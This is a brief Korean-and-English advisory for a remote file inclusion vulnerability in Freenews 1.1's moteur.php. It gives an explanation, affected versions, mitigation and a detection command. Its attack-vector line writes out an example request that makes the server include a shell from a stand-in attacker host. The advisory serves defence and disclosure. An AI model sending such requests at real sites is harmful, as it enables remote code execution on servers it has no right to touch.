🇰🇷 한글 설명
Freenews의 moteur.php 파일에서 chemin 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 임의의 PHP 코드를 원격에서 실행할 수 있습니다. 외부 서버의 PHP 파일을 포함시켜 서버 권한으로 악성 코드 실행이 가능합니다.
💡 쉬운 설명
오래된 웹사이트 소프트웨어(Freenews)에서 파일 경로를 입력받을 때 외부 파일을 포함시킬 수 있는 결함이 있습니다. 공격자가 악의적인 파일의 주소를 입력하면 웹서버가 그 파일을 실행하게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in moteur/moteur.php in Prologin.fr Freenews 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the chemin parameter.
📍 영향받는 시스템
Freenews 1.1 이전 버전 (moteur/moteur.php)
⚔️ 공격 벡터
GET/POST 파라미터 chemin에 원격 PHP 파일 URL 입력: moteur.php?chemin=http://attacker.com/shell.php
🛡️ 대응 방법
Freenews를 1.2 이상으로 업그레이드하거나 chemin 파라미터 입력값 검증 및 화이트리스트 필터링 적용
🔧 검증 코드
moteur.php 파일이 존재하면 해당 시스템에 Freenews가 설치되어 있으며, 버전 확인 후 1.1 이하인 경우 취약점이 있습니다.
grep -r 'moteur\.php' /var/www/ 2>/dev/null || find /opt -name '*freenews*' -type d 2>/dev/null